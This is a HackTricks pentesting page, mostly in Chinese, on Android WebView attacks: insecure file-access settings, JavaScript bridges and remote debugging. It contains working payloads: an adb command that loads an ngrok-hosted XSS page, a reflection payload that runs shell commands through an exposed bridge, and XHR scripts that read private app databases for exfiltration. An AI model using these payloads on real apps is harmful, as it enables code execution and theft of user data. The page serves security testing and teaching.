hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md

15 KiB
Raw Blame History

WebView攻击

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥

有趣的配置

你可以通过以下方式识别出暴露的WebView

文件访问

WebView文件访问默认是启用的。从API 3Cupcake 1.5)开始,可以使用setAllowFileAccess()方法来显式启用或禁用它。
如果应用程序具有android.permission.READ_EXTERNAL_STORAGE权限,则可以从外部存储读取和加载文件。
WebView需要使用文件URL方案例如file://path/file,来访问文件。

从文件URL进行通用访问已弃用

设置是否允许文件方案URL上下文中的跨源请求访问任何来源的内容。这包括访问其他文件方案URL或Web上下文的内容。请注意某些访问如图像HTML元素不遵循同源规则不受此设置的影响。

如果打开可能由外部来源创建或更改的文件,请不要启用此设置。启用此设置将允许在file://上下文中加载的恶意脚本发起跨站脚本攻击从而访问任意本地文件包括WebView的cookie、应用程序私有数据甚至用于任意网站的凭据。

总结一下,这将阻止加载任意来源。如果应用程序发送的URL请求不允许该来源Access-Control-Allow-Origin: file://),则不会加载内容。
当目标为Build.VERSION_CODES.JELLY_BEAN及以上版本时,默认值为false

{% hint style="info" %} 使用**loadDataWithBaseURL()并将baseURL设置为null也可以防止加载本地文件**,即使所有危险设置都已启用。 {% endhint %}

从文件URL访问文件已弃用

设置是否允许文件方案URL上下文中的跨源请求访问其他文件方案URL的内容。请注意某些访问如图像HTML元素不遵循同源规则不受此设置的影响。

如果打开可能由外部来源创建或更改的文件,请不要启用此设置。启用此设置将允许在file://上下文中加载的恶意脚本访问任意本地文件包括WebView的cookie和应用程序私有数据。

总结一下这将阻止JavaScript通过file://协议访问本地文件。
请注意,如果getAllowUniversalAccessFromFileURLs()的值为true,则此设置的值将被忽略。
当目标为Build.VERSION_CODES.JELLY_BEAN及以上版本时,默认值为false

文件访问

启用或禁用WebView内的文件访问。请注意,这仅启用或禁用文件系统访问。使用file:///android_assetfile:///android_res仍然可以访问资源和资产。

简而言之如果禁用WebView将无法使用file://协议加载本地文件。当目标为Build.VERSION_CODES.R及以上时,默认值为false

WebViewAssetLoader

辅助类,用于在WebView类中使用http(s):// URL加载本地文件包括应用程序的静态资源和资源。使用类似于Web的URL而不是"file://"来加载本地文件是可取的,因为它与同源策略兼容。

这是一种新的推荐方法来加载本地文件。目标是通过域名使用HTTP URL来访问本地文件。这样可以在本地网页和从Web服务器下载的Web页面之间轻松维护CORS

启用JavaScript

WebView默认情况下禁用JavaScript。可以使用setJavaScriptEnabled()方法显式启用或禁用它。
请注意WebView还可以支持允许触发其他应用程序的**intent** scheme。阅读此文章以了解如何从XSS到RCE

以下是一个通过参数"support_url"可以指示WebView加载的URL暴露的易受XSS攻击的WebView示例

可以使用类似以下的adb命令利用该漏洞

{% code overflow="wrap" %}

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://6333-157-48-216-175.ngrok-free.app/xss.html"

{% endcode %}

Javascript桥接

Android提供了一种方式使得在WebView中执行的JavaScript可以调用和使用Android应用程序的本地函数使用@JavascriptInterface进行注释),方法是使用addJavascriptInterface方法。这被称为_WebView JavaScript桥接_或_本地桥接_。

请注意,当您使用addJavascriptInterface您明确地授予所有在WebView中加载的页面对注册的JavaScript接口对象的访问权限。这意味着如果用户在您的应用程序或域之外导航所有其他外部页面也将可以访问这些JavaScript接口对象如果通过这些接口暴露了任何敏感数据可能会存在潜在的安全风险。

警告对于针对Android 4.2API级别17以下版本的应用程序要非常小心因为它们对addJavascriptInterface的实现存在漏洞一种滥用反射的攻击当恶意JavaScript注入到WebView中时会导致远程代码执行。这是因为默认情况下可以访问所有Java对象方法而不仅仅是那些已注释的方法

静态分析

//Class with a method to access a secret
public class JavascriptBridge {
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
// not annotated with @JavascriptInterface are not visible from JavaScript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
}
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>

通过访问JavaScript代码例如通过存储的XSS、中间人攻击或在WebView中加载的恶意网站可以直接调用暴露的Java方法。

{% hint style="info" %} 请注意,在尝试通过重定向到攻击者的网页以访问本机Android对象的漏洞时,如果通过移动浏览器而不是使用相同的WebView进行重定向访问,则浏览器将无法访问本机Android对象。 {% endhint %}

如果需要使用addJavascriptInterface,请考虑以下事项:

  • 只允许使用APK提供的JavaScript来使用桥接例如通过在每个桥接的Java方法上验证URL通过WebView.getUrl)。
  • 不应从远程端点加载JavaScript例如通过在应用程序域内进行页面导航并在默认浏览器例如Chrome、Firefox中打开所有其他域。
  • 如果出于兼容性原因需要例如必须支持旧设备请在应用程序的清单文件中将最低API级别设置为17<uses-sdk android:minSdkVersion="17" />)。

通过反射实现的Javascript桥接到RCE

此研究所述(在获得RCE的情况下可以参考其中的想法一旦找到一个Javascript桥接就可以使用以下负载通过反射获得RCE

<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>

然而,现代应用程序可能使用@JavascriptInterface注解该注解指示JavascriptBridge只应公开带有此注解的方法。在这种情况下您将无法滥用反射来执行任意代码。

远程调试

远程WebView调试允许使用Chrome开发者工具访问WebView。
设备需要通过PC通过USB、本地模拟器、本地网络等可访问并运行可调试的WebView然后访问chrome://inspect/#devices

选择inspect将打开一个新窗口。在此窗口中您可以与WebView的内容进行交互甚至可以从控制台选项卡中执行任意的JS代码

为了启用WebView远程调试,您可以执行以下操作:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}

此设置适用于应用程序的所有 WebView。

{% hint style="info" %} WebView 调试不受应用程序清单中 debuggable 标志的状态影响。如果您只想在 debuggabletrue 时启用 WebView 调试,请在运行时测试该标志。 {% endhint %}

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Payloads

泄露任意文件

To exfiltrate arbitrary files from an Android app's WebView, you can use the following payload:

var xhr = new XMLHttpRequest();
xhr.open('GET', 'file:///path/to/file', true);
xhr.onreadystatechange = function() {
    if (xhr.readyState === 4 && xhr.status === 200) {
        var fileContent = xhr.responseText;
        // Exfiltrate the file content to an external server or perform any other action
    }
};
xhr.send();

Replace 'file:///path/to/file' with the actual file path you want to exfiltrate. This payload sends a GET request to the specified file path and retrieves its content. You can then exfiltrate the file content to an external server or perform any other action as needed.

Keep in mind that this payload requires the app to have the necessary permissions to access the file you want to exfiltrate. Additionally, you should ensure that the server receiving the exfiltrated data is secure and properly handle the incoming files.

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);

参考资料

{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}

{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥